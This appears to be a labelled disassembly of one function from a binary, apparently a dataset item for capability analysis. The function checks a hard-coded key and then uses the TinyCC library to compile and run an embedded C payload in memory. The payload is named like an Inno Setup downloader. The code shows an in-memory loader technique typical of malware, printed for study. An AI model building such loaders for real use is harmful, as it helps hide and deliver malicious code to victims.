Function at 0x40114d
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
nop
mov eax, 0x40112f
push eax
mov eax, 1
push eax
call sub.kernel32.dll_AddVectoredExceptionHandler
mov eax, str.8943ugry86346gdw634
push eax
mov eax, dword [ebp + 0x10]
push eax
call sub.msvcrt.dll_strcmp
add esp, 8
cmp eax, 0
je 0x40118d
mov eax, 0x48
jmp 0x4014a8
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov ecx, 0x4a
push ecx
mov ecx, 0x402040
push ecx
push eax
call sub.msvcrt.dll_fprintf
add esp, 0xc
mov eax, 0x208
push eax
mov eax, 0
push eax
lea eax, [ebp - 0x208]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov eax, 0x104
push eax
lea eax, [ebp - 0x208]
push eax
mov eax, 0
push eax
call sub.kernel32.dll_GetModuleFileNameW
mov dword [ebp - 0x20c], eax
mov eax, dword [ebp - 0x20c]
cmp eax, 0
jne 0x4011fd
mov eax, 0x50
jmp 0x4014a8
mov eax, 0x104
mov dword [ebp - 0x210], eax
mov eax, dword [ebp - 0x210]
add eax, 0xffffffff
mov dword [ebp - 0x210], eax
shl eax, 1
lea ecx, [ebp - 0x208]
add ecx, eax
movzx eax, word [ecx]
cmp eax, 0x5c
je 0x401230
jmp 0x401208
mov eax, dword [ebp - 0x210]
shl eax, 1
lea ecx, [ebp - 0x208]
add ecx, eax
mov eax, 0
mov word [ecx], ax
lea eax, [ebp - 0x208]
push eax
call sub.kernel32.dll_SetCurrentDirectoryW
mov dword [ebp - 0x214], eax
mov eax, dword [ebp - 0x214]
cmp eax, 0
je 0x40126f
jmp 0x401279
mov eax, 0x56
jmp 0x4014a8
mov eax, 0
mov dword [ebp - 0x218], eax
call sub.libtcc.dll_tcc_new
mov dword [ebp - 0x218], eax
mov eax, dword [ebp - 0x218]
cmp eax, 0
je 0x4012a3
jmp 0x4012c5
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov ecx, str.Could_not_create_tcc_state_n
push ecx
push eax
call sub.msvcrt.dll_fprintf
add esp, 8
mov eax, 0x5e
jmp 0x4014a8
mov eax, str._tcc32
push eax
mov eax, dword [ebp - 0x218]
push eax
call sub.libtcc.dll_tcc_set_lib_path
add esp, 8
mov eax, str._tcc32_include
push eax
mov eax, dword [ebp - 0x218]
push eax
call sub.libtcc.dll_tcc_add_include_path
add esp, 8
mov eax, 0x402080
push eax
mov eax, dword [ebp - 0x218]
push eax
call sub.libtcc.dll_tcc_add_include_path
add esp, 8
mov eax, str._tcc32_lib
push eax
mov eax, dword [ebp - 0x218]
push eax
call sub.libtcc.dll_tcc_add_library_path
add esp, 8
mov eax, 1
push eax
mov eax, dword [ebp - 0x218]
push eax
call sub.libtcc.dll_tcc_set_output_type
add esp, 8
mov eax, 0
mov dword [ebp - 0x220], eax
lea eax, [ebp - 0x220]
push eax
mov eax, str.InnoSetup32Downloader_uni_source.c
push eax
call section..text
add esp, 8
mov dword [0x402028], eax
mov eax, dword [0x402028]
cmp eax, 0
jne 0x40136d
mov eax, 0x77
jmp 0x4014a8
mov eax, 0x4020ca
push eax
mov eax, str.PAYLOAD_INNOCURL
push eax
mov eax, dword [ebp - 0x218]
push eax
call sub.libtcc.dll_tcc_define_symbol
add esp, 0xc
mov eax, dword [0x402028]
push eax
mov eax, dword [ebp - 0x218]
push eax
call sub.libtcc.dll_tcc_compile_string
add esp, 8
cmp eax, 0xffffffff
jne 0x4013b1
mov eax, 0x7f
jmp 0x4014a8
mov eax, str.Download_1609Mon20241556381114687
push eax
mov eax, str.download_id
push eax
mov eax, dword [ebp - 0x218]
push eax
call sub.libtcc.dll_tcc_add_symbol
add esp, 0xc
mov eax, 1
push eax
mov eax, dword [ebp - 0x218]
push eax
call sub.libtcc.dll_tcc_relocate
add esp, 8
cmp eax, 0
jge 0x4013f4
mov eax, 0x85
jmp 0x4014a8
mov eax, str.WinMainPayload
push eax
mov eax, dword [ebp - 0x218]
push eax
call sub.libtcc.dll_tcc_get_symbol
add esp, 8
mov dword [ebp - 0x21c], eax
mov eax, dword [ebp - 0x21c]
cmp eax, 0
je 0x401423
jmp 0x40142d
mov eax, 0x8a
jmp 0x4014a8
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov ecx, 0x8b
push ecx
mov ecx, str.__LINE__:__d_n
push ecx
push eax
call sub.msvcrt.dll_fprintf
add esp, 0xc
mov eax, 0
push eax
mov eax, 0
push eax
mov eax, 0
push eax
mov eax, 0
push eax
mov eax, dword [ebp - 0x21c]
call eax
add esp, 0x10
mov dword [ebp - 0x224], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov ecx, dword [ebp - 0x224]
push ecx
mov ecx, str.func_ret___d_n
push ecx
push eax
call sub.msvcrt.dll_fprintf
add esp, 0xc
mov eax, dword [ebp - 0x218]
push eax
call sub.libtcc.dll_tcc_delete
add esp, 4
mov eax, dword [ebp - 0x224]
leave
ret 0x10